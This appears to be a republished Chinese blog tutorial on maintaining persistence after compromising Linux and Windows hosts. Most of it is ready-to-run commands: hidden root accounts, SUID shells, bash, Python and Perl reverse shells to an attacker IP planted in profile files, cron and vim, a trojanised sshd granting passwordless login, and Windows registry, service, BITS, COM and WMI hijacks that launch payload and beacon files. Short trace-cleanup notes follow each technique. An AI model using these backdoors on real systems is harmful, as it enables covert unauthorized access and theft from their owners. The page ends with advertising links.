滲透測試-權限維持

linux權限維持

添加賬號

一般在具有root權限時可以使用以下2種方式添加root權限用戶

1.通過useradd,後面賬號backdoor/123456

useradd -u 0 -o -g root -G root backdoor

echo 123456:password|chpasswd

2.通過直接對etc/passwd文件進行寫入

perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果

# 123456加密后的結果為AASwmzPNx.3sg

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中

清理以上痕迹

userdel -f backdoor

設置sid位的文件

在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

在高權限時

cp /bin/bash /tmp/.bash

chmod 4755 /tmp/.bash  #設置suid

使用時帶上-p參數

/tmp/.bash -p

清理痕迹

rm -rf /tmp/.bash

通過環境變量植入後門

以下是環境變量的位置

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

寫入shell反彈語句

echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile

這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

以下文件需要高權限,為全局變量

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc

以下為當前用戶的環境變量

~/.bash_profile		#實驗過程中沒有反應
~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
~/bash_logout			#實驗過程中沒有反應

清理痕迹

刪除配置文件中添加的代碼即可

寫入ssh公鑰

首先在本地生成ssh公鑰和私鑰

在自己的~/.ssh/目錄下執行

ssh-keygen -t rsa

會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

id_rsa      id_rsa.pub  known_hosts

xxx為公鑰內容,也就是id_rsa.pub的內容

echo "xxx" >> ~/.ssh/authorized_keys

清理痕迹

刪除目標上的 ~/.ssh/authorized_keys即可

ssh任意密碼登錄

在root用戶時,suchfnchsh命令不需要輸入密碼認證

通過軟連接將ssh的服務進行cp,並重命名為以上命令

ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
/tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口

連接

ssh root@host -p 12345

#密碼隨便輸入即可登錄,並且可登錄任意賬號

清理方式

netstat -antp | gerp -E "su|chfn|chsh"
#找到進程號xxx
ps aux | grep xxx
#找到軟連接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su

修改sshd文件做到無認證登錄

建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

將原先的sshd文件進行轉義

mv /usr/sbin/sshd /usr/bin/sshd

開始使用perl進行寫腳本

echo '#!/usr/bin/perl' > /usr/sbin/sshd
echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd

其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

其中的LF代表開啟的端口號是19526

python2
>> import struct
>> print struct.pack('>I6',19526) 
#輸出的內容為 LF

賦予新文件權限並重啟sshd

chmod u+x sshd
service sshd restart

連接方式

socat STDIO TCP4:172.16.177.178:22,bind=:19526

清除痕迹

#刪除自定義的sshd
rm -rf /usr/sbin/sshd
#將同版本的sshd拷貝到對應目錄下
mv /usr/bin/sshd /usr/sbin/sshd

利用vim可執行python腳本預留後門

先準備個python的反彈shell腳本

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

找到提供vim插件的python的擴展包目錄

vim --version  #查看使用的python版本

找到python的擴展位置

pip show requests

進入目錄

cd /usr/lib/python2.7/site-packages

將內容寫入

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py

運行,並刪除文件

$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

清除痕迹

ps aux|grep vim
#獲取pid
kill pid

計劃任務

因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

這裏藉助python,或者perl都可

使用python

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

使用perl

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

清除痕迹

如果通過crontab -e 不知道為啥會頂掉上一個

crontab -l			#只看得到一個
crontab -r			#刪除所有計劃任務

動態加載庫

使用export LD_PRELOAD=./xx.so

這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

這裏使用以下項目

https://github.com/Screetsec/Vegile

準備2個文件

  • msf的木馬
  • Veglie項目

使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

python -m SimpleHTTP

目標服務器上

wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
wget http://xxx.xxx.xx.xxx:8000/shell

解壓后運行

unzip Vegile.zip
chmod 777 Vegile shell
./Vegile --u shell

清理痕迹

清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

清理思路掛起父進程,清除所有子進程再刪除父進程

windows權限維持

比較常見的windows提取

ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞

計劃任務

拿到shell后先修改編碼

chcp 65001

設置計劃任務,每分鐘調用運行一次shell

schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00

清理痕迹

控制面板->管理工具->任務計劃程序->找到惡意計劃任務
在 操作 中找到調用的腳本,進行文件刪除
刪除惡意計劃任務

映像劫持

在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f

清理痕迹

HKLM是HKEY_LOCAL_MACHINE

找到目標的註冊表,將debug內容刪除

環境變量

用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f

清理痕迹

直接找到 開始->用戶頭像->更改我的環境變量

進程退出劫持

在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”

清理痕迹

找到目標的註冊表刪除即可

AppInit_DLLs注入

User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

對HKML註冊表的內容進行修改一般都要system權限

Windows 10

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

其他

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f

這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

清理痕迹

到對應註冊表的位置刪除Appinit_Dlls的值

bits文件傳輸

通過bitsadmin從網絡上下載的時候可以額外執行腳本

bitsadmin /create test

隨意下載
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 

執行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 

啟動任務
bitsadmin /resume test

每次開機的時候會觸發

清理痕迹

bitsadmin /reset

COM組件劫持

將腳本放入com組件中

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f

reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f

清理痕迹

刪除註冊表中的路徑值,並通過路徑刪除木馬文件

替換cmd.exe

將sethc.exe(按shift 5下)替換成cmd.exe

takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe

清理痕迹

找個原版的setch.exe 覆蓋回去

Winlogon劫持

winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f

清理痕迹

刪除註冊表的shell中的值,並且找到後門文件刪除掉

組策略

需要能遠程登錄到桌面

輸入gpedit.msc打開組策略,需要管理員賬號

在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

清理痕迹

打開組策略找到腳本,刪除即可

修改計算器啟動服務調用的程序

啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

篡改運行腳本
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f

設置自動啟動
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 

啟動服務
sc start IEEtwCollectorService 

返回的是system權限

清理痕迹

將篡改的註冊表改回來,並且刪除目標木馬

MSDTC 服務

MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

清理痕迹

刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

啟動項

啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

也會運行以下註冊表中的腳本

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

需要高權限
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

cmd 啟動劫持

在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f

清理痕迹

在管理員權限下刪除註冊表的值即可

wmic事件

註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
wmic 
/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 


註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 

綁定事件 過濾器和事件消費者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益